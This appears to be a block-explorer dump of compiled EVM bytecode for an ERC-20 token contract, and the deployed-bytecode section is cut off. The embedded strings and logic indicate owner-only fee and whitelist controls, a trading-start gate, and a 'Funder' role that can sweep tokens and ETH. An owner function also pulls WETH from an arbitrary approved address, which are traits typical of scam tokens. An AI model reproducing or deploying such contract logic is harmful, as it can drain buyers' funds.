95781600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461095891906134bb565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600190509392505050565b600e5481565b6000600860009054906101000a900460ff16905090565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60096020528060005260406000206000915054906101000a900460ff1681565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480610aee57503373ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b610b2d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b249061353b565b60405180910390fd5b80600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600c6020528060005260406000206000915054906101000a900460ff1681565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c1f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c16906135a7565b60405180910390fd5b84601181905550836012819055508260138190555081601481905550806015819055505050505050565b600d60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60195481565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d03576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cfa906135a7565b60405180910390fd5b60005b8251811015610d93578160096000858481518110610d2757610d266135c7565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610d8b906135f6565b915050610d06565b505050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e26576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e1d906135a7565b60405180910390fd5b8060178190555050565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ee4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610edb906135a7565b60405180910390fd5b600060195414610ef5576000610ef7565b435b601981905550565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610fd6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fcd906135a7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611171576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611168906135a7565b60405180910390fd5b8060188190555050565b60606007805461118a9061345b565b80601f01602080910402602001604051908101604052809291908181526020018280546111b69061345b565b80156112035780601f106111d857610100808354040283529160200191611203565b820191906000526020600020905b8154815290600101906020018083116111e657829003601f168201915b5050505050905090565b3073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16146113c4578073ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016112b89190612f4e565b602060405180830381865afa1580156112d5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112f99190613653565b6040518363ffffffff1660e01b81526004016113169291906136a1565b6020604051808303816000875af1158015611335573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061135991906136df565b50600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f193505050501580156113c2573d6000803e3d6000fd5b505b50565b60006113d4338484611c26565b6001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461146c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611463906135a7565b60405180910390fd5b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156114db573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114ff9190613721565b90508073ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000196040518363ffffffff1660e01b815260040161156092919061374e565b6020604051808303816000875af115801561157f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115a391906136df565b508073ffffffffffffffffffffffffffffffffffffffff166323b872dd86308473ffffffffffffffffffffffffffffffffffffffff166370a082318a6040518263ffffffff1660e01b81526004016115fb9190612f4e565b602060405180830381865afa158015611618573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061163c9190613653565b6040518463ffffffff1660e01b815260040161165a93929190613777565b6020604051808303816000875af1158015611679573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061169d91906136df565b5060005b848490508110156116f0576116dd838686848181106116c3576116c26135c7565b5b90506020020160208101906116d89190612f69565b6120da565b80806116e8906135f6565b9150506116a1565b504360198190555060008173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016117339190612f4e565b602060405180830381865afa158015611750573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117749190613653565b905060008111156117ff578173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb87836040518363ffffffff1660e01b81526004016117ba92919061374e565b6020604051808303816000875af11580156117d9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117fd91906136df565b505b505050505050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611895576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161188c906135a7565b60405180910390fd5b601660009054906101000a900460ff1615601660006101000a81548160ff021916908315150217905550565b601660009054906101000a900460ff1681565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146119e9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119e0906135a7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611a58576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a4f906137fa565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611c199190612e9a565b60405180910390a3505050565b6000611c3184610eff565b905081811015611c76576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c6d90613866565b60405180910390fd5b600d60009054906101000a900460ff1615611c9d57611c96848484612580565b50506120d5565b6000600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015611d055750600d60009054906101000a900460ff16155b8015611d5b5750600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611db15750600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611dc05750601554600e54115b15611e33576000839050611dd330610eff565b811115611e1d57600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490505b601754811115611e3157611e308161269e565b5b505b600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611ed75750600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611ef05750600d60009054906101000a900460ff16155b156120c657600060195411611f0457600080fd5b60019050600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015611faf5750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156120055750600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561208757600e600081548092919061201d906135f6565b919050555060006018541115612086576018548361203a86610eff565b6120449190613886565b1115612085576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161207c90613906565b60405180910390fd5b5b5b601660009054906101000a900460ff1680156120a257508183145b156120c5576305f5e100836120b79190613955565b836120c291906134bb565b92505b5b6120d28585858461290c565b50505b505050565b6001600d60006101000a81548160ff0219169083151502179055506000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612164573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906121889190613721565b90506000600267ffffffffffffffff8111156121a7576121a6613081565b5b6040519080825280602002602001820160405280156121d55781602001602082028036833780820191505090505b50905081816000815181106121ed576121ec6135c7565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050308160018151811061223c5761223b6135c7565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506000600267ffffffffffffffff81111561229357612292613081565b5b6040519080825280602002602001820160405280156122c15781602001602082028036833780820191505090505b50905030816000815181106122d9576122d86135c7565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250508281600181518110612328576123276135c7565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060008373ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b815260040161239d9190612f4e565b602060405180830381865afa1580156123ba573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906123de9190613653565b90506000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d06ca61f88856040518363ffffffff1660e01b815260040161243f929190613a44565b600060405180830381865afa15801561245c573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f820116820180604052508101906124859190613b37565b600181518110612498576124976135c7565b5b602002602001015190508181116124af57806124b1565b815b9050600081036124c5575050505050612561565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16635c11d795826000878a426040518663ffffffff1660e01b8152600401612529959493929190613bbb565b600060405180830381600087803b15801561254357600080fd5b505af1158015612557573d6000803e3d6000fd5b5050505050505050505b6000600d60006101000a81548160ff0219169083151502179055505050565b600081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546125d191906134bb565b9250508190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546126279190613886565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161268b9190612e9a565b60405180910390a3600190509392505050565b6001600d60006101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156126d6576126d5613081565b5b6040519080825280602002602001820160405280156127045781602001602082028036833780820191505090505b509050308160008151811061271c5761271b6135c7565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156127c3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906127e79190613721565b816001815181106127fb576127fa6135c7565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac94783600084600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518663ffffffff1660e01b81526004016128bb959493929190613c15565b600060405180830381600087803b1580156128d557600080fd5b505af11580156128e9573d6000803e3d6000fd5b50505050506000600d60006101000a81548160ff02191690831515021790555050565b81600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461295791906134bb565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060008115612bab576000600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615612a1457601454600e5411612a0957601054612a0d565b6012545b9050612a81565b600c60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615612a8057601354600e5411612a7957600f54612a7d565b6011545b90505b5b600060648286612a919190613c6f565b612a9b9190613955565b90506000811115612ba8578083612ab29190613886565b925080600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612aff9190613886565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051612b9f9190612e9a565b60405180910390a35b50505b8083612bb791906134bb565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612c019190613886565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8386612c9f91906134bb565b604051612cac9190612e9a565b60405180910390a35050505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612cf5578082015181840152602081019050612cda565b60008484015250505050565b6000601f19601f8301169050919050565b6000612d1d82612cbb565b612d278185612cc6565b9350612d37818560208601612cd7565b612d4081612d01565b840191505092915050565b60006020820190508181036000830152612d658184612d12565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612dac82612d81565b9050919050565b612dbc81612da1565b8114612dc757600080fd5b50565b600081359050612dd981612db3565b92915050565b6000819050919050565b612df281612ddf565b8114612dfd57600080fd5b50565b600081359050612e0f81612de9565b92915050565b60008060408385031215612e2c57612e2b612d77565b5b6000612e3a85828601612dca565b9250506020612e4b85828601612e00565b9150509250929050565b60008115159050919050565b612e6a81612e55565b82525050565b6000602082019050612e856000830184612e61565b92915050565b612e9481612ddf565b82525050565b6000602082019050612eaf6000830184612e8b565b92915050565b600080600060608486031215612ece57612ecd612d77565b5b6000612edc86828701612dca565b9350506020612eed86828701612dca565b9250506040612efe86828701612e00565b9150509250925092565b600060ff82169050919050565b612f1e81612f08565b82525050565b6000602082019050612f396000830184612f15565b92915050565b612f4881612da1565b82525050565b6000602082019050612f636000830184612f3f565b92915050565b600060208284031215612f7f57612f7e612d77565b5b6000612f8d84828501612dca565b91505092915050565b6000612fa182612d81565b9050919050565b612fb181612f96565b8114612fbc57600080fd5b50565b600081359050612fce81612fa8565b92915050565b600060208284031215612fea57612fe9612d77565b5b6000612ff884828501612fbf565b91505092915050565b600080600080600060a0868803121561301d5761301c612d77565b5b600061302b88828901612e00565b955050602061303c88828901612e00565b945050604061304d88828901612e00565b935050606061305e88828901612e00565b925050608061306f88828901612e00565b9150509295509295909350565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6130b982612d01565b810181811067ffffffffffffffff821117156130d8576130d7613081565b5b80604052505050565b60006130eb612d6d565b90506130f782826130b0565b919050565b600067ffffffffffffffff82111561311757613116613081565b5b602082029050602081019050919050565b600080fd5b600061314061313b846130fc565b6130e1565b9050808382526020820190506020840283018581111561316357613162613128565b5b835b8181101561318c57806131788882612dca565b845260208401935050602081019050613165565b5050509392505050565b600082601f8301126131ab576131aa61307c565b5b81356131bb84826020860161312d565b91505092915050565b6131cd81612e55565b81146131d857600080fd5b50565b6000813590506131ea816131c4565b92915050565b6000806040838503121561320757613206612d77565b5b600083013567ffffffffffffffff81111561322557613224612d7c565b5b61323185828601613196565b9250506020613242858286016131db565b9150509250929050565b60006020828403121561326257613261612d77565b5b600061327084828501612e00565b91505092915050565b6000819050919050565b600061329e61329961329484612d81565b613279565b612d81565b9050919050565b60006132b082613283565b9050919050565b60006132c2826132a5565b9050919050565b6132d2816132b7565b82525050565b60006020820190506132ed60008301846132c9565b92915050565b6132fc81612f96565b82525050565b600060208201905061331760008301846132f3565b92915050565b600080fd5b60008083601f8401126133385761333761307c565b5b8235905067ffffffffffffffff8111156133555761335461331d565b5b60208301915083602082028301111561337157613370613128565b5b9250929050565b6000806000806060858703121561339257613391612d77565b5b60006133a087828801612dca565b945050602085013567ffffffffffffffff8111156133c1576133c0612d7c565b5b6133cd87828801613322565b935093505060406133e087828801612e00565b91505092959194509250565b6000806040838503121561340357613402612d77565b5b600061341185828601612dca565b925050602061342285828601612dca565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061347357607f821691505b6020821081036134865761348561342c565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006134c682612ddf565b91506134d183612ddf565b92508282039050818111156134e9576134e861348c565b5b92915050565b7f2146756e64657200000000000000000000000000000000000000000000000000600082015250565b6000613525600783612cc6565b9150613530826134ef565b602082019050919050565b6000602082019050818103600083015261355481613518565b9050919050565b7f796f7520617265206e6f74206f776e6572000000000000000000000000000000600082015250565b6000613591601183612cc6565b915061359c8261355b565b602082019050919050565b600060208201905081810360008301526135c081613584565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600061360182612ddf565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036136335761363261348c565b5b600182019050919050565b60008151905061364d81612de9565b92915050565b60006020828403121561366957613668612d77565b5b60006136778482850161363e565b91505092915050565b600061368b826132a5565b9050919050565b61369b81613680565b82525050565b60006040820190506136b66000830185613692565b6136c36020830184612e8b565b9392505050565b6000815190506136d9816131c4565b92915050565b6000602082840312156136f5576136f4612d77565b5b6000613703848285016136ca565b91505092915050565b60008151905061371b81612db3565b92915050565b60006020828403121561373757613736612d77565b5b60006137458482850161370c565b91505092915050565b60006040820190506137636000830185612f3f565b6137706020830184612e8b565b9392505050565b600060608201905061378c6000830186612f3f565b6137996020830185612f3f565b6137a66040830184612e8b565b949350505050565b7f6e65772069732030000000000000000000000000000000000000000000000000600082015250565b60006137e4600883612cc6565b91506137ef826137ae565b602082019050919050565b60006020820190508181036000830152613813816137d7565b9050919050565b7f62616c616e63654e6f74456e6f75676800000000000000000000000000000000600082015250565b6000613850601083612cc6565b915061385b8261381a565b602082019050919050565b6000602082019050818103600083015261387f81613843565b9050919050565b600061389182612ddf565b915061389c83612ddf565b92508282019050808211156138b4576138b361348c565b5b92915050565b7f77616c6c65746c696d6974000000000000000000000000000000000000000000600082015250565b60006138f0600b83612cc6565b91506138fb826138ba565b602082019050919050565b6000602082019050818103600083015261391f816138e3565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061396082612ddf565b915061396b83612ddf565b92508261397b5761397a613926565b5b828204905092915050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6139bb81612da1565b82525050565b60006139cd83836139b2565b60208301905092915050565b6000602082019050919050565b60006139f182613986565b6139fb8185613991565b9350613a06836139a2565b8060005b83811015613a37578151613a1e88826139c1565b9750613a29836139d9565b925050600181019050613a0a565b5085935050505092915050565b6000604082019050613a596000830185612e8b565b8181036020830152613a6b81846139e6565b90509392505050565b600067ffffffffffffffff821115613a8f57613a8e613081565b5b602082029050602081019050919050565b6000613ab3613aae84613a74565b6130e1565b90508083825260208201905060208402830185811115613ad657613ad5613128565b5b835b81811015613aff5780613aeb888261363e565b845260208401935050602081019050613ad8565b5050509392505050565b600082601f830112613b1e57613b1d61307c565b5b8151613b2e848260208601613aa0565b91505092915050565b600060208284031215613b4d57613b4c612d77565b5b600082015167ffffffffffffffff811115613b6b57613b6a612d7c565b5b613b7784828501613b09565b91505092915050565b6000819050919050565b6000613ba5613ba0613b9b84613b80565b613279565b612ddf565b9050919050565b613bb581613b8a565b82525050565b600060a082019050613bd06000830188612e8b565b613bdd6020830187613bac565b8181036040830152613bef81866139e6565b9050613bfe6060830185612f3f565b613c0b6080830184612e8b565b9695505050505050565b600060a082019050613c2a6000830188612e8b565b613c376020830187613bac565b8181036040830152613c4981866139e6565b9050613c586060830185613692565b613c656080830184612e8b565b9695505050505050565b6000613c7a82612ddf565b9150613c8583612ddf565b9250828202613c9381612ddf565b91508282048414831517613caa57613ca961348c565b5b509291505056fea264697066735822122040a7e58968bb3c8a6ec6a581b072872e7277e4ff34f324196b4d6cef2b55343064736f6c63430008110033

Deployed Bytecode

0x6080604052600436106101e75760003560e01c806365b61b7711610102578063a67755c211610095578063cefab2af11610064578063cefab2af146106c9578063dd62ed3e146106f4578063f2fde38b14610731578063f887ea401461075a576101ee565b8063a67755c214610623578063a9059cbb1461064c578063bc2b8fb714610689578063bc76c052146106b2576101ee565b80637cc5b1e6116100d15780637cc5b1e6146105795780638da5cb5b146105a45780638ff4013f146105cf57806395d89b41146105f8576101ee565b806365b61b77146104e35780636c5808011461050e57806370a0823114610525578063715018a614610562576101ee565b806336b2e0271161017a5780634bf28fd0116101495780634bf28fd01461043b578063553193ca1461046657806358e56b63146104915780636402511e146104ba576101ee565b806336b2e0271461036f5780633e0cdeb1146103ac5780633ecad271146103d55780633f80b6d714610412576101ee565b806323b872dd116101b657806323b872dd146102b157806327b1a8e9146102ee578063313ce567146103195780633455a9db14610344576101ee565b806306fdde03146101f3578063095ea7b31461021e57806318160ddd1461025b5780631b58374914610286576101ee565b366101ee57005b600080fd5b3480156101ff57600080fd5b50610208610785565b6040516102159190612d4b565b60405180910390f35b34801561022a57600080fd5b5061024560048036038101906102409190612e15565b610817565b6040516102529190612e70565b60405180910390f35b34801561026757600080fd5b5061027061082e565b60405161027d9190612e9a565b60405180910390f35b34801561029257600080fd5b5061029b610838565b6040516102a89190612e9a565b60405180910390f35b3480156102bd57600080fd5b506102d860048036038101906102d39190612eb5565b61083e565b6040516102e59190612e70565b60405180910390f35b3480156102fa57600080fd5b506103036109e4565b6040516103109190612e9a565b60405180910390f35b34801561032557600080fd5b5061032e6109ea565b60405161033b9190612f24565b60405180910390f35b34801561035057600080fd5b50610359610a01565b6040516103669190612f4e565b60405180910390f35b34801561037b57600080fd5b5061039660048036038101906103919190612f69565b610a27565b6040516103a39190612e70565b60405180910390f35b3480156103b857600080fd5b506103d360048036038101906103ce9190612fd4565b610a47565b005b3480156103e157600080fd5b506103fc60048036038101906103f79190612f69565b610b71565b6040516104099190612e70565b60405180910390f35b34801561041e57600080fd5b5061043960048036038101906104349190613001565b610b91565b005b34801561044757600080fd5b50610450610c49565b60405161045d9190612f4e565b60405180910390f35b34801561047257600080fd5b5061047b610c6f565b6040516104889190612e9a565b60405180910390f35b34801561049d57600080fd5b506104b860048036038101906104b391906131f0565b610c75565b005b3480156104c657600080fd5b506104e160048036038101906104dc919061324c565b610d98565b005b3480156104ef57600080fd5b506104f8610e30565b60405161050591906132d8565b60405180910390f35b34801561051a57600080fd5b50610523610e56565b005b34801561053157600080fd5b5061054c60048036038101906105479190612f69565b610eff565b6040516105599190612e9a565b60405180910390f35b34801561056e57600080fd5b50610577610f48565b005b34801561058557600080fd5b5061058e611094565b60405161059b9190613302565b60405180910390f35b3480156105b057600080fd5b506105b96110ba565b6040516105c69190612f4e565b60405180910390f35b3480156105db57600080fd5b506105f660048036038101906105f1919061324c565b6110e3565b005b34801561060457600080fd5b5061060d61117b565b60405161061a9190612d4b565b60405180910390f35b34801561062f57600080fd5b5061064a60048036038101906106459190612f69565b61120d565b005b34801561065857600080fd5b50610673600480360381019061066e9190612e15565b6113c7565b6040516106809190612e70565b60405180910390f35b34801561069557600080fd5b506106b060048036038101906106ab9190613378565b6113de565b005b3480156106be57600080fd5b506106c7611807565b005b3480156106d557600080fd5b506106de6118c1565b6040516106eb9190612e70565b60405180910390f35b34801561070057600080fd5b5061071b600480360381019061071691906133ec565b6118d4565b6040516107289190612e9a565b60405180910390f35b34801561073d57600080fd5b5061075860048036038101906107539190612f69565b61195b565b005b34801561076657600080fd5b5061076f611b15565b60405161077c9190612f4e565b60405180910390f35b6060600680546107949061345b565b80601f01602080910402602001604051908101604052809291908181526020018280546107c09061345b565b801561080d5780601f106107e25761010080835404028352916020019161080d565b820191906000526020600020905b8154815290600101906020018083116107f057829003601f168201915b5050505050905090565b6000610824338484611b3b565b6001905092915050565b6000600a54905090565b60185481565b600061084b848484611c26565b600019600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054146109d95781600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461095891906134bb565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600190509392505050565b600e5481565b6000600860009054906101000a900460ff16905090565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60096020528060005260406000206000915054906101000a900460ff1681565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480610aee57503373ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b610b2d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b249061353b565b60405180910390fd5b80600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600c6020528060005260406000206000915054906101000a900460ff1681565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c1f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c16906135a7565b60405180910390fd5b84601181905550836012819055508260138190555081601481905550806015819055505050505050565b600d60019054906101000a900473ff